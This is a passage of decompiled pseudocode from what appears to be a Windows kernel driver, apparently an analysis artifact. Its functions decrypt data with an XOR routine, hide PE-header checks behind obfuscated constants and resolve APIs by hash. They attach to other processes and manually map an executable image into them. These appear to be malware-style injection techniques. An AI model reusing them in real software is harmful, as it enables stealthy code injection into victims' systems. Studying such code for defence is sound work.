//----- (00011A08) --------------------------------------------------------
char __usercall sub_11A08<al>(int a1<edi>)
{
  unsigned int v1; // ecx@1

  v1 = 0;
  while ( (byte_12644[v1] & *(&byte_12644[v1] + a1 - (_DWORD)byte_12644)) == byte_12630[v1] )
  {
    ++v1;
    if ( v1 >= 0x14 )
      return *(_DWORD *)(a1 + 13) - *(_DWORD *)((char *)&ZwAllocateVirtualMemory + 13) == (_DWORD)((char *)ZwAllocateVirtualMemory
                                                                                                 - a1);
  }
  return 0;
}

//----- (00011A4A) --------------------------------------------------------
int __userpurge sub_11A4A<eax>(int a1<eax>, int a2<ebx>, unsigned int a3)
{
  int v3; // esi@1
  int v4; // edx@4
  int v5; // edi@4
  int v6; // edx@5
  unsigned int v7; // eax@6
  int v9; // [sp-4h] [bp-10h]@4
  unsigned int v10; // [sp+8h] [bp-4h]@1

  v10 = 0;
  v3 = a1;
  while ( 1 )
  {
    if ( a3 <= v3 + 5 )
      return 0;
    if ( *(_BYTE *)v3 == -24 )
    {
      v5 = *(_DWORD *)(v3 + 1) + v3 + 5;
      v4 = sub_1210F(a2, v5);
      if ( v4 )
      {
        if ( sub_119AE(v9, v4) )
        {
          v7 = *(_DWORD *)(v6 + 8);
          if ( v7 >= *(_DWORD *)(v6 + 16) )
            v7 = *(_DWORD *)(v6 + 16);
          if ( v5 + 20 <= v7 + *(_DWORD *)(a2 + 8) + *(_DWORD *)(v6 + 12) && sub_11A08(v5) )
            break;
        }
      }
    }
    ++v10;
    ++v3;
    if ( v10 >= 0x1E )
      return 0;
  }
  return v5;
}

//----- (00011ABC) --------------------------------------------------------
const char *__usercall sub_11ABC<eax>(const char *result<eax>, int a2<ecx>)
{
  int v2; // ebx@1

  v2 = a2 - 19;
  while ( (unsigned int)result < v2 )
  {
    while ( (unsigned int)result <= v2 - 4 )
    {
      if ( *(_DWORD *)result == dword_12658 )
        goto LABEL_7;
      ++result;
    }
    result = 0;
LABEL_7:
    if ( !result )
      break;
    if ( !strncmp(result, (const char *)&dword_12658, 14) )
      return result;
    ++result;
  }
  return 0;
}
// 12658: using guessed type int dword_12658;

//----- (00011B04) --------------------------------------------------------
int __stdcall sub_11B04(int a1, const char *a2, unsigned int a3, int a4, int a5)
{
  int result; // eax@2
  const char *v6; // ebx@7
  int v7; // eax@17
  unsigned int v8; // ecx@17
  int v9; // eax@24
  int v10; // [sp+Ch] [bp-4h]@7
  int v11; // [sp+Ch] [bp-4h]@14

  *(_BYTE *)a5 = 0;
  if ( sub_10886(0) )
  {
    result = (int)sub_11ABC(a2, a3);
    if ( result )
    {
      if ( *(_DWORD *)a4 && result != *(_DWORD *)a4 )
        *(_BYTE *)a5 = 1;
      else
        *(_DWORD *)a4 = result;
    }
  }
  else
  {
    v6 = a2;
    result = a3 - 10;
    v10 = (int)a2;
    if ( (unsigned int)a2 < a3 - 10 )
    {
      while ( 2 )
      {
        for ( result = v10; ; ++result )
        {
          if ( result > a3 - 14 )
          {
            v11 = 0;
            goto LABEL_15;
          }
          if ( *(_DWORD *)result == dword_12628 )
            break;
        }
        v11 = result;
LABEL_15:
        if ( v11 )
        {
          if ( !strncmp((const char *)v11, (const char *)&dword_12628, 5) )
          {
            v8 = 0;
            v7 = v11;
            while ( (unsigned int)&v6[v8] < v11 )
            {
              if ( *(_BYTE *)v7 == -24
                && (NTSTATUS (__stdcall *)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG))(*(_DWORD *)(v7 + 1) + v7 + 5) == ZwAllocateVirtualMemory )
              {
                v9 = sub_11A4A(v11, a1, a3);
                if ( !v9 )
                  break;
                if ( !*(_DWORD *)a4 || v9 == *(_DWORD *)a4 )
                {
                  *(_DWORD *)a4 = v9;
                  break;
                }
                result = a5;
                *(_BYTE *)a5 = 1;
                return result;
              }
              ++v8;
              --v7;
              if ( v8 >= 0x78 )
                break;
            }
          }
          v10 = v11 + 1;
          result = v10;
          if ( v10 < a3 - 10 )
          {
            v6 = a2;
            continue;
          }
        }
        break;
      }
    }
  }
  return result;
}
// 12628: using guessed type int dword_12628;

//----- (00011C14) --------------------------------------------------------
int *__cdecl sub_11C14()
{
  int v0; // ebx@1
  int v1; // eax@2
  int v2; // ecx@3
  __int16 v3; // di@4
  int v4; // esi@4
  int v5; // edx@5
  unsigned int v6; // ecx@6
  int v7; // eax@8
  const char *v8; // ST04_4@8
  char v10; // [sp+Ch] [bp-2Ch]@3
  int v11; // [sp+20h] [bp-18h]@4
  unsigned __int16 v12; // [sp+24h] [bp-14h]@4
  int v13; // [sp+2Ch] [bp-Ch]@2
  int v14; // [sp+30h] [bp-8h]@4
  char v15; // [sp+37h] [bp-1h]@8

  v0 = 0;
  dword_146A8 = 0;
  if ( !dword_146AC )
  {
    v1 = sub_1098E();
    v13 = v1;
    if ( v1 )
    {
      if ( !sub_121E1((int)&v10, v1, 1) )
      {
        v3 = v12;
        v4 = v11;
        v14 = 0;
        if ( v12 > 0u )
        {
          while ( 1 )
          {
            if ( sub_119AE(v2, 40 * (unsigned __int16)v0 + v4) )
            {
              v6 = *(_DWORD *)(v5 + 16);
              if ( *(_DWORD *)(v5 + 8) < v6 )
                v6 = *(_DWORD *)(v5 + 8);
              v7 = v13 + *(_DWORD *)(v5 + 12);
              v8 = (const char *)(v13 + *(_DWORD *)(v5 + 12));
              v15 = 1;
              sub_11B04((int)&v10, v8, v7 + v2, (int)&v14, (int)&v15);
              if ( v15 )
                break;
            }
            ++v0;
            if ( (_WORD)v0 >= (unsigned __int16)v3 )
            {
              if ( !v14 )
                break;
              dword_146A8 = v14;
              return &dword_146A8;
            }
          }
        }
      }
    }
    dword_146AC = -1073741823;
  }
  return &dword_146A8;
}
// 146A8: using guessed type int dword_146A8;
// 146AC: using guessed type int dword_146AC;

//----- (00011CCC) --------------------------------------------------------
int __stdcall sub_11CCC(int a1)
{
  int v1; // eax@1
  int result; // eax@2
  int v3; // ebx@4
  int v4; // [sp+0h] [bp-8h]@6
  int v5; // [sp+4h] [bp-4h]@6

  v1 = *(_DWORD *)(a1 + 96);
  *(_DWORD *)(a1 + 28) = 0;
  if ( *(_DWORD *)(v1 + 8) != 40 || *(_DWORD *)(v1 + 4) != 40 )
  {
    result = -1073741811;
  }
  else
  {
    v3 = *(_DWORD *)(a1 + 12);
    if ( *(_DWORD *)v3 == -1347686387 )
    {
      v5 = 0;
      sub_10A8A((int)&v4, &v5);
      result = v5;
      if ( !v5 )
      {
        result = (*(int (__stdcall **)(_DWORD, int, int, _DWORD, int))v4)(
                   *(_DWORD *)(v3 + 8),
                   v3 + 16,
                   v3 + 24,
                   *(_DWORD *)(v3 + 32),
                   v3 + 32);
        if ( !result )
        {
          *(_DWORD *)(a1 + 28) = 40;
          result = 0;
        }
      }
    }
    else
    {
      result = -1073741811;
    }
  }
  return result;
}

//----- (00011D46) --------------------------------------------------------
char __stdcall sub_11D46(int a1, unsigned int a2)
{
  char result; // al@1
  unsigned int v3; // ecx@1

  v3 = 0;
  result = 0;
  if ( a2 )
  {
    do
      result += *(_BYTE *)(v3++ + a1);
    while ( v3 < a2 );
  }
  return result;
}

//----- (00011D62) --------------------------------------------------------
NTSTATUS __userpurge sub_11D62<eax>(LSA_UNICODE_STRING *a1<eax>, PUNICODE_STRING ValueName, int a3)
{
  NTSTATUS v3; // esi@1
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+8h] [bp-20h]@1
  int v6; // [sp+20h] [bp-8h]@1
  HANDLE Handle; // [sp+24h] [bp-4h]@1

  ObjectAttributes.ObjectName = a1;
  LOBYTE(v6) = 0;
  Handle = 0;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 64;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  v3 = ZwOpenKey(&Handle, 0x20019u, &ObjectAttributes);
  LOBYTE(v6) = v3 == 0;
  if ( !v3 )
    v3 = sub_11DD6((int)&v6, ValueName, a3);
  if ( (_BYTE)v6 )
  {
    LOBYTE(v6) = 0;
    ZwClose(Handle);
  }
  return v3;
}

//----- (00011DD6) --------------------------------------------------------
signed int __stdcall sub_11DD6(int a1, PUNICODE_STRING ValueName, int a3)
{
  PVOID v4; // edi@10
  signed int v5; // esi@14
  int v6; // eax@16
  int v7; // eax@17
  PVOID v8; // [sp-8h] [bp-34h]@7
  ULONG v9; // [sp-4h] [bp-30h]@7
  PVOID P; // [sp+10h] [bp-1Ch]@5
  ULONG ResultLength; // [sp+20h] [bp-Ch]@4
  NTSTATUS v12; // [sp+24h] [bp-8h]@5

  if ( !*(_BYTE *)a1
    || (ResultLength = 0,
        ZwQueryValueKey(*(HANDLE *)(a1 + 4), ValueName, KeyValuePartialInformation, 0, 0, &ResultLength) != -1073741789) )
    return -1073741823;
  v12 = 0;
  sub_105A0((int)&v12, ResultLength, (int)&P, 0);
  if ( v12 )
  {
    if ( !P )
      return v12;
    v9 = 0;
    v8 = P;
LABEL_8:
    ExFreePoolWithTag(v8, v9);
    return v12;
  }
  v4 = P;
  v12 = ZwQueryValueKey(*(HANDLE *)(a1 + 4), ValueName, KeyValuePartialInformation, P, ResultLength, &ResultLength);
  if ( v12 )
  {
    if ( !v4 )
      return v12;
    v9 = 0;
    v8 = v4;
    goto LABEL_8;
  }
  if ( *((_DWORD *)v4 + 1) == 3 )
  {
    v6 = (int)ExAllocatePool(0, 0x10u);
    if ( v6 )
    {
      v7 = sub_105A0((int)&v12, *((_DWORD *)v4 + 2), v6, (char *)v4 + 12);
      v4 = P;
    }
    else
    {
      v7 = 0;
    }
    sub_1076E(a3, (PVOID *)v7);
    v5 = 0;
    if ( v12 )
    {
      v5 = v12;
      goto LABEL_15;
    }
    if ( *(_DWORD *)(a3 + 4) )
      goto LABEL_15;
  }
  v5 = -1073741823;
LABEL_15:
  ExFreePoolWithTag(v4, 0);
  return v5;
}

//----- (00011EC6) --------------------------------------------------------
int __usercall sub_11EC6<eax>(char a1<al>, int a2<ecx>, unsigned int a3<esi>)
{
  unsigned int v3; // edx@2
  unsigned int v4; // eax@4
  int result; // eax@6
  char v7; // [sp+8h] [bp-10h]@1
  char v8; // [sp+Ch] [bp-Ch]@1
  signed int v9; // [sp+10h] [bp-8h]@1
  unsigned int v10; // [sp+14h] [bp-4h]@1

  v10 = a3 >> 1;
  v7 = a1 ^ 0xD;
  v8 = a1 ^ 0xEF;
  v9 = 7;
  do
  {
    v3 = 0;
    if ( a3 )
    {
      do
      {
        *(_BYTE *)(v3 + a2) ^= v9 * v8 + v3 * v7;
        ++v3;
      }
      while ( v3 < a3 );
    }
    v4 = 0;
    if ( v10 )
    {
      do
      {
        *(_BYTE *)(v4 + a2) ^= *(_BYTE *)(((a3 + 1) >> 1) + a2 + v4);
        ++v4;
      }
      while ( v4 < v10 );
    }
    for ( result = a3 - 1; (unsigned int)result >= 1; --result )
      *(_BYTE *)(result + a2) -= *(_BYTE *)(result + a2 - 1);
  }
  while ( v9-- - 1 >= 0 );
  return result;
}

//----- (00011F42) --------------------------------------------------------
int __stdcall sub_11F42(int a1, int a2, HANDLE Handle)
{
  int v3; // eax@2
  int v4; // ecx@3
  int v5; // eax@5
  char ProcessInformation; // [sp+Ch] [bp-34h]@2
  int v8; // [sp+10h] [bp-30h]@3
  CPPEH_RECORD ms_exc; // [sp+28h] [bp-18h]@2

  *(_DWORD *)a1 = 0;
  *(_BYTE *)(a1 + 4) = 1;
  if ( !*(_DWORD *)a2 )
  {
    ms_exc.disabled = 0;
    v3 = sub_12000(Handle, &ProcessInformation);
    *(_DWORD *)a2 = v3;
    if ( !v3 )
    {
      v4 = v8;
      if ( v8 && (v5 = *(_DWORD *)(v8 + 8)) != 0 )
      {
        *(_DWORD *)a1 = v5;
        *(_BYTE *)(a1 + 4) = *(_BYTE *)(v4 + 2) != 0;
      }
      else
      {
        *(_DWORD *)a2 = -1073741823;
      }
    }
    ms_exc.disabled = -1;
  }
  return a1;
}

//----- (00011FC0) --------------------------------------------------------
int __userpurge sub_11FC0<eax>(int a1<esi>, int a2, int a3)
{
  *(_BYTE *)a1 = 0;
  sub_12094(a1 + 4, a2, a3);
  memset((void *)(a1 + 12), 0, 0x18u);
  if ( !*(_DWORD *)a2 )
  {
    KeStackAttachProcess(*(_DWORD *)(a1 + 8), a1 + 12);
    *(_BYTE *)a1 = 1;
  }
  return a1;
}
// 12604: using guessed type int __stdcall KeStackAttachProcess(_DWORD, _DWORD);

//----- (00012000) --------------------------------------------------------
int __stdcall sub_12000(HANDLE Handle, PVOID ProcessInformation)
{
  int result; // eax@4
  NTSTATUS v3; // esi@5
  char v4; // [sp+10h] [bp-10h]@1
  PVOID Object; // [sp+14h] [bp-Ch]@3
  ULONG ReturnLength; // [sp+18h] [bp-8h]@6
  int v7; // [sp+1Ch] [bp-4h]@1

  v7 = 0;
  sub_12094((int)&v4, (int)&v7, (int)Handle);
  if ( v7 )
  {
    if ( v4 )
    {
      v4 = 0;
      ObfDereferenceObject(Object);
    }
    result = v7;
  }
  else
  {
    Handle = 0;
    v3 = ObOpenObjectByPointer(Object, 0, 0, 0, 0, 0, &Handle);
    if ( !v3 )
    {
      ReturnLength = 0;
      v3 = ZwQueryInformationProcess(Handle, 0, ProcessInformation, 0x18u, &ReturnLength);
    }
    if ( Handle )
      ZwClose(Handle);
    if ( v4 )
    {
      v4 = 0;
      ObfDereferenceObject(Object);
    }
    result = v3;
  }
  return result;
}
// 1260C: using guessed type int __stdcall ObOpenObjectByPointer(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);

//----- (00012094) --------------------------------------------------------
int __userpurge sub_12094<eax>(int a1<ebx>, int a2<edi>, int a3)
{
  char v3; // zf@1
  int v4; // eax@2

  *(_DWORD *)(a1 + 4) = 0;
  v3 = *(_DWORD *)a2 == 0;
  *(_BYTE *)a1 = 0;
  if ( v3 )
  {
    v4 = PsLookupProcessByProcessId(a3, a1 + 4);
    *(_DWORD *)a2 = v4;
    if ( !v4 )
    {
      if ( *(_DWORD *)(a1 + 4) )
        *(_BYTE *)a1 = 1;
      else
        *(_DWORD *)a2 = -1073741823;
    }
  }
  return a1;
}
// 12610: using guessed type int __stdcall PsLookupProcessByProcessId(_DWORD, _DWORD);

//----- (000120CC) --------------------------------------------------------
LONG_PTR __usercall sub_120CC<eax>(PVOID Object<ecx>, LONG_PTR result<eax>)
{
  void *v2; // ecx@2

  if ( *(_BYTE *)result )
  {
    v2 = *(void **)(result + 4);
    *(_BYTE *)result = 0;
    result = ObfDereferenceObject(v2);
  }
  return result;
}

//----- (000120DE) --------------------------------------------------------
int __cdecl sub_120DE(int a1)
{
  int result; // eax@1
  int v2; // edx@1
  char v3; // cl@1
  int v4; // esi@2

  v2 = a1;
  v3 = *(_BYTE *)a1;
  for ( result = 0; *(_BYTE *)v2; result = v4 )
  {
    v4 = result * (7 * result + 1) + v3 * (17 * v3 + 12);
    ++v2;
    v3 = *(_BYTE *)v2;
  }
  return result;
}

//----- (0001210F) --------------------------------------------------------
int __cdecl sub_1210F(int a1, unsigned int a2)
{
  unsigned __int16 v2; // bx@1
  int v3; // edi@1
  int v4; // esi@1
  int v5; // eax@3
  unsigned int v6; // ecx@3
  int v7; // eax@5
  int result; // eax@8
  int v9; // [sp+14h] [bp+8h]@2

  v2 = *(_WORD *)(a1 + 24);
  v4 = *(_DWORD *)(a1 + 20);
  v3 = 0;
  if ( v2 <= 0u )
  {
LABEL_8:
    result = 0;
  }
  else
  {
    v9 = *(_DWORD *)(a1 + 8);
    while ( 1 )
    {
      v5 = v4 + 40 * (unsigned __int16)v3;
      v6 = *(_DWORD *)(v5 + 8);
      if ( v6 >= *(_DWORD *)(v5 + 16) )
        v6 = *(_DWORD *)(v5 + 16);
      v7 = v9 + *(_DWORD *)(v5 + 12);
      if ( a2 >= v7 )
      {
        if ( a2 < v6 + v7 )
          break;
      }
      ++v3;
      if ( (_WORD)v3 >= v2 )
        goto LABEL_8;
    }
    result = v4 + 40 * (unsigned __int16)v3;
  }
  return result;
}

//----- (0001216B) --------------------------------------------------------
signed int __usercall sub_1216B<eax>(int a1<eax>, unsigned int a2<ebx>)
{
  int v2; // esi@1
  signed int result; // eax@2
  int v4; // edi@3
  int v5; // eax@6
  unsigned int v6; // ecx@6
  unsigned int v7; // eax@8
  int v8; // esi@12
  unsigned __int16 v9; // [sp+4h] [bp-4h]@1

  v2 = *(_DWORD *)(a1 + 20);
  v9 = *(_WORD *)(a1 + 24);
  if ( a2 < *(_DWORD *)(a1 + 26) )
  {
    v4 = 0;
    if ( !*(_DWORD *)(a1 + 4) )
      goto LABEL_17;
    if ( *(_WORD *)(a1 + 24) <= 0u )
      goto LABEL_14;
    while ( 1 )
    {
      v5 = v2 + 40 * (unsigned __int16)v4;
      v6 = *(_DWORD *)(v5 + 8);
      if ( v6 >= *(_DWORD *)(v5 + 16) )
        v6 = *(_DWORD *)(v5 + 16);
      v7 = *(_DWORD *)(v5 + 12);
      if ( a2 >= v7 )
      {
        if ( a2 < v6 + v7 )
          break;
      }
      ++v4;
      if ( (_WORD)v4 >= v9 )
        goto LABEL_14;
    }
    v8 = *(_DWORD *)(40 * (unsigned __int16)v4 + v2 + 36);
    if ( v8 & 0x2000000 || !(v8 & 0x40000000) )
LABEL_14:
      result = 0;
    else
LABEL_17:
      result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (000121E1) --------------------------------------------------------
signed int __cdecl sub_121E1(int a1, int a2, int a3)
{
  int v4; // eax@3
  unsigned __int16 v5; // cx@4
  int v6; // edx@7
  int v7; // ecx@7
  __int16 v8; // dx@12

  if ( *(_WORD *)a2 != 23117 || (v4 = a2 + *(_DWORD *)(a2 + 60), (*(_DWORD *)v4 ^ 0xF750F284) != -145705004) )
    return 1;
  v5 = *(_WORD *)(v4 + 4);
  if ( 22531 == (v5 ^ 0x594F) )
  {
    if ( (*(_WORD *)(v4 + 24) ^ 0x5908) == 22531 && *(_WORD *)(v4 + 20) == 224 )
    {
      v7 = a1;
      *(_DWORD *)a1 = 0;
      v6 = v4 + 120;
LABEL_12:
      *(_DWORD *)(v7 + 16) = v6;
      *(_DWORD *)(v7 + 26) = *(_DWORD *)(v4 + 80);
      *(_DWORD *)(v7 + 20) = *(_WORD *)(v4 + 20) + v4 + 24;
      v8 = *(_WORD *)(v4 + 6);
      *(_DWORD *)(v7 + 12) = v4;
      *(_DWORD *)(v7 + 4) = a3;
      *(_WORD *)(v7 + 24) = v8;
      *(_DWORD *)(v7 + 8) = a2;
      return 0;
    }
  }
  else
  {
    if ( 22531 == (v5 ^ 0xDE67) && (*(_WORD *)(v4 + 24) ^ 0x5A08) == 22531 && *(_WORD *)(v4 + 20) == 240 )
    {
      v7 = a1;
      *(_DWORD *)a1 = 1;
      v6 = v4 + 136;
      goto LABEL_12;
    }
  }
  return 1;
}

//----- (000122B3) --------------------------------------------------------
signed int __cdecl sub_122B3(int a1, unsigned int a2)
{
  signed int result; // eax@1

  result = sub_1216B(a1, a2);
  if ( result )
    result = a2 + *(_DWORD *)(a1 + 8);
  return result;
}

//----- (000122D0) --------------------------------------------------------
bool __cdecl sub_122D0(int a1, unsigned int a2, int a3, int a4)
{
  int v4; // esi@1
  bool result; // eax@2
  unsigned int v6; // eax@3

  v4 = *(_DWORD *)(a1 + 16) + 8 * a2;
  if ( a2 >= 0x10 )
    return 1;
  v6 = *(_DWORD *)v4;
  if ( *(_DWORD *)v4 )
  {
    if ( v6 + *(_DWORD *)(v4 + 4) > *(_DWORD *)(a1 + 26) )
      return 1;
    *(_DWORD *)a3 = sub_122B3(a1, *(_DWORD *)v4);
    *(_DWORD *)a4 = *(_DWORD *)(v4 + 4);
    result = *(_DWORD *)a3 == 0;
  }
  else
  {
    LOBYTE(v6) = *(_DWORD *)(v4 + 4) == v6;
    result = v6 + 1;
  }
  return result;
}

//----- (00012323) --------------------------------------------------------
signed int __usercall sub_12323<eax>(unsigned int a1<eax>, int a2, int a3, unsigned __int16 a4)
{
  signed int v4; // eax@1
  unsigned int v5; // esi@1
  unsigned int v6; // eax@3
  signed int result; // eax@4

  v5 = a1;
  v4 = sub_122B3(a2, *(_DWORD *)(a1 + 28));
  if ( !v4
    || (unsigned int)a4 >= *(_DWORD *)(v5 + 20)
    || (v6 = *(_DWORD *)(v4 + 4 * a4), !v6)
    || (result = sub_122B3(a2, v6), !result)
    || result >= v5 && result < a3 + v5 )
    result = 0;
  return result;
}

//----- (0001236B) --------------------------------------------------------
signed int __cdecl sub_1236B(int a1, int a2)
{
  unsigned int v2; // esi@1
  signed int result; // eax@2
  unsigned int v4; // edi@3
  unsigned int v5; // ebx@6
  int v6; // eax@7
  int v7; // [sp+4h] [bp-Ch]@1
  int v8; // [sp+8h] [bp-8h]@4
  int v9; // [sp+Ch] [bp-4h]@1

  v2 = 0;
  if ( sub_122D0(a1, 0, (int)&v9, (int)&v7) )
  {
    result = 0;
  }
  else
  {
    v4 = v9;
    v9 = sub_122B3(a1, *(_DWORD *)(v9 + 32));
    if ( v9 && (v8 = sub_122B3(a1, *(_DWORD *)(v4 + 36))) != 0 )
    {
      v5 = *(_DWORD *)(v4 + 24);
      if ( v5 )
      {
        do
        {
          v6 = sub_122B3(a1, *(_DWORD *)(v9 + 4 * v2));
          if ( !v6 )
            break;
          if ( sub_120DE(v6) == a2 )
            return sub_12323(v4, a1, v7, *(_WORD *)(v8 + 2 * v2));
          ++v2;
        }
        while ( v2 < v5 );
      }
      result = 0;
    }
    else
    {
      result = 0;
    }
  }
  return result;
}

//----- (00012A24) --------------------------------------------------------
signed int __usercall sub_12A24<eax>(int a1<esi>)
{
  int v1; // edi@1
  int (__stdcall *v2)(_DWORD); // ebx@1
  int v3; // eax@1
  int v4; // eax@1
  signed int result; // eax@2

  v1 = sub_12D71((void *)0x2B8);
  v2 = *(int (__stdcall **)(_DWORD))(v1 + 32);
  *(_BYTE *)a1 = 21;
  *(_DWORD *)(a1 + 1) = 57;
  *(_DWORD *)(a1 + 13) = sub_12D71((void *)0x652);
  *(_DWORD *)(a1 + 17) = sub_12D71((void *)0x686);
  *(_DWORD *)(a1 + 21) = *(_DWORD *)(v1 + 40);
  *(_DWORD *)(a1 + 25) = *(_DWORD *)(v1 + 24);
  *(_DWORD *)(a1 + 29) = *(_DWORD *)(v1 + 72);
  v3 = sub_12D71((void *)0x260);
  v4 = v2(v3);
  *(_DWORD *)(a1 + 33) = v4;
  if ( v4 )
  {
    *(_DWORD *)(a1 + 41) = 0;
    *(_DWORD *)(a1 + 45) = 0;
    *(_DWORD *)(a1 + 49) = 1;
    result = 0;
  }
  else
  {
    result = 1;
  }
  return result;
}

//----- (00012A95) --------------------------------------------------------
signed int __cdecl sub_12A95(int a1)
{
  signed int result; // eax@1
  int v2; // edi@1
  int v3; // eax@2
  int v4; // eax@2
  int v5; // ecx@4
  char v6; // [sp+Ch] [bp-84h]@4
  char v7; // [sp+4Ch] [bp-44h]@1
  int v8; // [sp+51h] [bp-3Fh]@2
  int v9; // [sp+55h] [bp-3Bh]@2
  int (__cdecl *v10)(char *); // [sp+88h] [bp-8h]@1
  int (__cdecl *v11)(char *, int); // [sp+8Ch] [bp-4h]@1

  v2 = *(_DWORD *)(a1 + 88);
  v11 = (int (__cdecl *)(char *, int))(v2 + 149 + *(_DWORD *)(v2 + 113));
  v10 = (int (__cdecl *)(char *))(v2 + 149 + *(_DWORD *)(v2 + 129));
  *(_WORD *)(v2 + 149) = 23117;
  *(_DWORD *)(v2 + 149 + *(_DWORD *)(v2 + 141)) = 17744;
  *(_WORD *)(v2 + 149 + *(_DWORD *)(v2 + 145)) = 267;
  result = sub_12A24((int)&v7);
  if ( !result )
  {
    v3 = *(_DWORD *)(v2 + 1);
    v8 = v2 + 149;
    v9 = v3;
    v4 = sub_12D71((void *)0x350);
    result = v11(&v7, v4);
    if ( !result )
    {
      result = sub_12A24((int)&v7);
      if ( !result )
      {
        v5 = *(_DWORD *)(a1 + 96);
        v9 = *(_DWORD *)(a1 + 104);
        v8 = v5;
        result = v11(&v7, (int)&v6);
        if ( !result )
        {
          result = v10(&v6);
          if ( result )
            result = ((int (*)(void))result)();
        }
      }
    }
  }
  return result;
}

//----- (00012D37) --------------------------------------------------------
bool __usercall sub_12D37<eax>(int a1<eax>, int a2)
{
  int (__stdcall *v2)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // ecx@1
  bool result; // eax@2
  int v4; // [sp+0h] [bp-4h]@1

  v2 = *(int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(a1 + 80);
  v4 = 0;
  if ( v2(*(_DWORD *)(a1 + 144), 2242560, a2, 40, a2, 40, &v4, 0) )
    result = v4 != 40;
  else
    result = 1;
  return result;
}

//----- (00012D71) --------------------------------------------------------
int __thiscall sub_12D71(void *this)
{
  return (int)((char *)this + 75412);
}

//----- (00013343) --------------------------------------------------------
signed int __usercall sub_13343<eax>(int a1<eax>, unsigned int a2)
{
  unsigned int v2; // edi@1
  int v4; // ecx@3
  unsigned int v5; // ebx@4
  int v6; // eax@7
  unsigned int v7; // edx@8
  int v8; // ecx@8
  unsigned int v9; // [sp+8h] [bp-4h]@1

  v9 = 0;
  LOWORD(v2) = *(_WORD *)(a1 + 24);
  if ( *(_DWORD *)a1 || (v4 = *(_DWORD *)(a1 + 12), *(_DWORD *)(v4 + 84) > a2) )
    return 2;
  v5 = *(_DWORD *)(a1 + 26);
  if ( !(*(_DWORD *)(a1 + 26) % *(_DWORD *)(v4 + 56)) && *(_WORD *)(v4 + 6) )
  {
    v2 = (unsigned __int16)v2;
    if ( !(_WORD)v2 )
      return 0;
    v6 = *(_DWORD *)(a1 + 20) + 16;
    while ( 1 )
    {
      v8 = *(_DWORD *)v6;
      v7 = *(_DWORD *)(v6 - 8);
      if ( *(_DWORD *)v6 >= v7 )
        v8 = *(_DWORD *)(v6 - 8);
      if ( v8 + *(_DWORD *)(v6 + 4) > a2 || v7 + *(_DWORD *)(v6 - 4) > v5 )
        break;
      v6 += 40;
      ++v9;
      if ( v9 >= v2 )
        return 0;
    }
  }
  return 2;
}

//----- (000133BF) --------------------------------------------------------
int __usercall sub_133BF<eax>(int a1<eax>, int a2, int a3)
{
  int result; // eax@1
  int v4; // ecx@1
  int v5; // ebx@2
  int v6; // esi@2
  int v7; // edx@3
  int v8; // ecx@5
  int i; // edi@5

  v4 = *(_DWORD *)(a1 + 20);
  result = *(_WORD *)(a1 + 24);
  if ( result )
  {
    v6 = v4 + 8;
    v5 = result;
    do
    {
      v7 = *(_DWORD *)v6;
      if ( *(_DWORD *)(v6 + 8) < *(_DWORD *)v6 )
        v7 = *(_DWORD *)(v6 + 8);
      v8 = *(_DWORD *)(a2 + 5) + *(_DWORD *)(v6 + 12);
      result = a3 + *(_DWORD *)(v6 + 4);
      for ( i = v7; i; ++v8 )
      {
        --i;
        *(_BYTE *)result++ = *(_BYTE *)v8;
      }
      v6 += 40;
      --v5;
    }
    while ( v5 );
  }
  return result;
}

//----- (00013409) --------------------------------------------------------
int __usercall sub_13409<eax>(int a1<eax>, int a2, int a3, int a4)
{
  unsigned int v4; // edi@1
  int v5; // eax@4
  char v6; // dl@4
  int v7; // ecx@4
  int v8; // esi@5
  int v10; // [sp+Ch] [bp-Ch]@2
  unsigned int v11; // [sp+10h] [bp-8h]@1
  int v12; // [sp+14h] [bp-4h]@2

  v4 = 0;
  v11 = *(_DWORD *)(a1 + 45);
  if ( v11 )
  {
    v10 = *(_DWORD *)(a1 + 41);
    v12 = *(_DWORD *)(a1 + 41);
    while ( 1 )
    {
      if ( !sub_13CC0(a2, *(_DWORD *)v12) )
      {
        v7 = *(_DWORD *)(v12 + 4);
        v6 = *(_BYTE *)v7;
        v5 = *(_BYTE *)a3 - *(_BYTE *)v7;
        if ( *(_BYTE *)a3 == *(_BYTE *)v7 )
        {
          v8 = a3 - v7;
          do
          {
            if ( !v6 )
              break;
            ++v7;
            v6 = *(_BYTE *)v7;
            v5 = *(_BYTE *)(v8 + v7) - *(_BYTE *)v7;
          }
          while ( *(_BYTE *)(v8 + v7) == *(_BYTE *)v7 );
        }
        if ( v5 >= 0 )
        {
          if ( v5 > 0 )
            v5 = 1;
          if ( !v5 )
            break;
        }
      }
      v12 += 12;
      ++v4;
      if ( v4 >= v11 )
        goto LABEL_13;
    }
    *(_DWORD *)a4 = *(_DWORD *)(12 * v4 + v10 + 8);
  }
  else
  {
LABEL_13:
    *(_DWORD *)a4 = 0;
  }
  return 0;
}

//----- (0001356E) --------------------------------------------------------
int __usercall sub_1356E<eax>(unsigned int *a1<eax>, int a2<ebx>, int a3<edi>, int a4, int a5, int a6)
{
  unsigned int v6; // eax@1
  int v7; // eax@2
  signed int v8; // eax@4
  int result; // eax@5
  int v10; // esi@6
  int v11; // eax@9

  v6 = *a1;
  if ( (signed int)v6 < 0 )
  {
    v7 = (unsigned __int16)v6;
    goto LABEL_9;
  }
  if ( !v6 || (v8 = sub_138BE(a4, v6), !v8) )
    return 4;
  v10 = v8 + 2;
  result = sub_13409(a2, a5, v8 + 2, a3);
  if ( result )
    return result;
  if ( !*(_DWORD *)a3 )
  {
    v7 = v10;
LABEL_9:
    v11 = (*(int (__stdcall **)(int, int))(a2 + 25))(a6, v7);
    *(_DWORD *)a3 = v11;
    if ( v11 )
      return 0;
    return 4;
  }
  return 0;
}

//----- (0001369C) --------------------------------------------------------
int __thiscall sub_1369C(void *this)
{
  return (int)((char *)this - 4116659);
}

//----- (000136F8) --------------------------------------------------------
signed int __cdecl sub_136F8(int a1, int a2, int a3)
{
  int v4; // eax@3
  unsigned __int16 v5; // cx@4
